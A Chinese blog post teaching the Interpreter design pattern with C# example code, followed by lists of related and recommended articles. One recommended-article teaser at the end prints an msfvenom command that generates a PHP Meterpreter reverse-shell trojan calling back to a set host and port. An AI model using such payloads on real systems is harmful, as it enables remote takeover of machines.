行为型模式 - 解释器模式Interpreter
学习而来,代码是自己敲的。也有些自己的理解在里边,有问题希望大家指出。
模式的定义与特点
解释器模式(Interperter Pattern),给定一个语言,定义它的文法表示,并定义一个解释器,这个解释器使用该标识来解释语言中的句子。解释器模式:给定一个语言后,解释器模式可以定义出其文法的一种表示,并同时提供一个解释器。客户端可以使用这个解释器来解释这个语言中的句子。解释器模式将描述怎样在有了一个简单的文法后,使用模式设计解释这些语句。在解释器模式里面提到的语言是指任何解释器对象能够解释的任何组合。在解释器模式中需要定义一个代表文法的命令类的等级结构,也就是一系列的组合规则。每一个命令对象都有一个解释方法,代表对命令对象的解释。命令对象的等级结构中的对象的任何排列组合都是一个语言。
模式的优点
- 可扩展性比较好,灵活。
- 增加了新的解释表达式的方式。
- 易于实现简单文法。
模式的缺点
- 可利用场景比较少。
- 对于复杂的文法比较难维护。
- 解释器模式会引起类膨胀。
- 解释器模式采用递归调用方法。
using DesignPattern.InterpreterPattern;
using System;
namespace DesignPattern
{
internal class Program
{
static void Main(string[] args)
{
InterpreterHelper();
}
#region Pattern - Interpreter
static void InterpreterHelper()
{
Interpreter _root1 = new CheckContentsExistence("Root1");
Interpreter _root2 = new CheckContentsExistence("Root1");
Interpreter _orExpr1 = new OrExpression(_root1, _root2);
Console.WriteLine($"root 存在么:{_orExpr1.Interpret("root")}");
Console.WriteLine();
Interpreter _shanshan = new CheckContentsExistence("Shanshan");
Interpreter _pig = new CheckContentsExistence("pig");
Interpreter _isExpr2 = new AndExpression(_shanshan, _pig);
Console.WriteLine($"Shanshan is a little pig? {_isExpr2.Interpret("pig Shanshan")}");
Console.ReadLine();
}
#endregion
}
}
//======================================================================================
namespace DesignPattern.InterpreterPattern
{
/// <summary>
/// 解释器接口
/// </summary>
public interface Interpreter
{
/// <summary>
/// 解释器
/// </summary>
/// <param name="context">具体内容</param>
/// <returns></returns>
bool Interpret(string context);
}
/// <summary>
/// 解释具体内容是否存在该元素中
/// </summary>
public class CheckContentsExistence : Interpreter
{
private string m_data;
public CheckContentsExistence(string data)
{
this.m_data = data;
}
public bool Interpret(string context)
{
if (context.Contains(m_data))
{
return true;
}
return false;
}
}
/// <summary>
/// 或运算
/// </summary>
public class OrExpression : Interpreter
{
private Interpreter m_expr1 = null;
private Interpreter m_expr2 = null;
public OrExpression(Interpreter expression1, Interpreter expression2)
{
this.m_expr1 = expression1;
this.m_expr2 = expression2;
}
public bool Interpret(string context)
{
return m_expr1.Interpret(context) || m_expr2.Interpret(context);
}
}
/// <summary>
/// 和运算
/// </summary>
public class AndExpression : Interpreter
{
private Interpreter m_expr1 = null;
private Interpreter m_expr2 = null;
public AndExpression(Interpreter expression1, Interpreter expression2)
{
this.m_expr1 = expression1;
this.m_expr2 = expression2;
}
public bool Interpret(string context)
{
return m_expr1.Interpret(context) && m_expr2.Interpret(context);
}
}
}
总结:
个人觉得,应该是一个框架中有些特殊处理的信息,或者内容需要被处理,就会用到解释器模式,比如框架中使用string,不希望在字符串中出现红信息,那就重写string,在遇到红信息时直接过滤、或者是找到替代信息进行替换。
希望大家:点赞,留言,关注咯~
唠家常
今日分享结束啦,小伙伴们你们get到了么,你们有没有更好的办法呢,可以评论区留言分享,也可以加我QQ:841298494,大家一起进步。
- 客官,看完get之后记得点赞哟!
- 小伙伴你还想要别的知识?好的呀,分享给你们
今日推荐
行为型模式 - 解释器模式Interpreter的更多相关文章
- 【设计模式】行为型11解释器模式(Interpreter Pattern)
解释器模式(Interpreter Pattern) 解释器模式应用场景比较小,也没有固定的DEMO,中心思想就是自定义解释器用来解释固定的对象. 定义:给定一个语言,定义它的文法表示,并定义一个 ...
- 《Android源码设计模式》--状态模式--责任链模式--解释器模式--命令模式--观察者模式--备忘录模式--迭代器模式
[状态模式] No1: Wifi设置界面是一个叫做WifiSetting的Fragment实现的 No2: 在不同的状态下对于扫描Wifi这个请求的处理是完全不一样的.在初始状态下扫描请求被直接忽略, ...
- javascript设计模式 - 解释器模式(interpreter)
<!doctype html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- 23、Interpreter 解释器模式
1.Interpreter 解释器模式 解释器模式是一种使用频率相对较低但学习难度较大的设计模式,它用于描述如何使用面向对象语言构成一个简单的语言解释器.在某些情况下,为了更好地描述某一些特定类型的问 ...
- C#设计模式学习笔记:(23)解释器模式
本笔记摘抄自:https://www.cnblogs.com/PatrickLiu/p/8242238.html,记录一下学习过程以备后续查用. 一.引言 今天我们要讲行为型设计模式的第十一个模式-- ...
- 折腾Java设计模式之解释器模式
解释器模式 解释器模式是类的行为模式.给定一个语言之后,解释器模式可以定义出其文法的一种表示,并同时提供一个解释器.客户端可以使用这个解释器来解释这个语言中的句子. 意图 给定一个语言,定义它的文法表 ...
- Java设计模式----解释器模式
计算器中,我们输入“20 + 10 - 5”,计算器会得出结果25并返回给我们.可你有没有想过计算器是怎样完成四则运算的?或者说,计算器是怎样识别你输入的这串字符串信息,并加以解析,然后执行之,得出结 ...
- 大话设计模式Python实现-解释器模式
解释器模式(Interpreter Pattern):给定一个语言,定义它的文法的一种表示,并定义一个解释器,这个解释器使用该表示来解释语言中的句子. 下面是一个解释器模式的demo: #!/usr/ ...
- [Python设计模式] 第27章 正则表达式——解释器模式
github地址:https://github.com/cheesezh/python_design_patterns 解释器模式 解释器模式,给定一个语言,定一个它的文法的一种表示,并定一个一个解释 ...
随机推荐
- 基于docker安装jumpserver
以下配置均在一台ubuntu上实现 # 生成宿主机Mysql配置文件,便于docker内容器使用 [root@ubuntu2004 ~]#mkdir -p /etc/mysql/mysql.conf. ...
- 浅谈MYSQL的索引以及它的数据结构
什么是索引 mysql的数据是持久化到磁盘的,写SQL查询数据也就是在磁盘的某个位置查找符合条件的数据,但是磁盘IO比起内存效率是极慢的,特别是数据量大的时候,这时候就需要引入索引来提高查询效率: 在 ...
- 在服务器上搭建Jenkins自动化部署工具
在公司发现很多时候都需要手动部署,然后有天听到自动部署这个词想着有没有什么工具能够自动部署项目,最好能自动化部署前后端生成 docker images 运行方便管理.最后经过我各种筛查,发现用 jen ...
- java基础知识-lambda表达式
一.什么是lambda? 在Java中,我们可以将一个值赋值给一个Java变量. int aValue = 129; String aString = "hello world"; ...
- html CheckBox
1.获取单个checkbox选中项(三种写法)$("input:checkbox:checked").val()或者$("input:[type='checkbox']: ...
- <十>关于菱形继承
代码1 #include <iostream> using namespace std; class A{ public: A(int _a):ma(_a){ cout<<&q ...
- 【每日一题】【二分mid&贪心】2022年2月8日-NC163 最长上升子序列(一)
1.描述给定一个长度为 n 的数组 arr,求它的最长严格上升子序列的长度.所谓子序列,指一个数组删掉一些数(也可以不删)之后,形成的新数组.例如 [1,5,3,7,3] 数组,其子序列有:[1,3, ...
- MongoDB安全加固,防止数据库攻击删除勒索威胁
前言: 今天发现前段时间自己搭建的一个系统的MongoDB数据找不到了,觉得很奇妙,然后登上MongoDB数据库发现多了一个名为READ__ME_TO_RECOVER_YOUR_DATA的数据库,里面 ...
- 使用 System.Text.Json 时,如何处理 Dictionary 中 Key 为自定义类型的问题
在使用 System.Text.Json 进行 JSON 序列化和反序列化操作时,我们会遇到一个问题:如何处理字典中的 Key 为自定义类型的问题. 背景说明 例如,我们有如下代码: // 定义一 ...
- 监控Windows(生成php木马)
sudo su 生成木马: msfvenom --platform php -p php/meterpreter/reverse_tcp lhost=192.168.1.9 lport=55555 R ...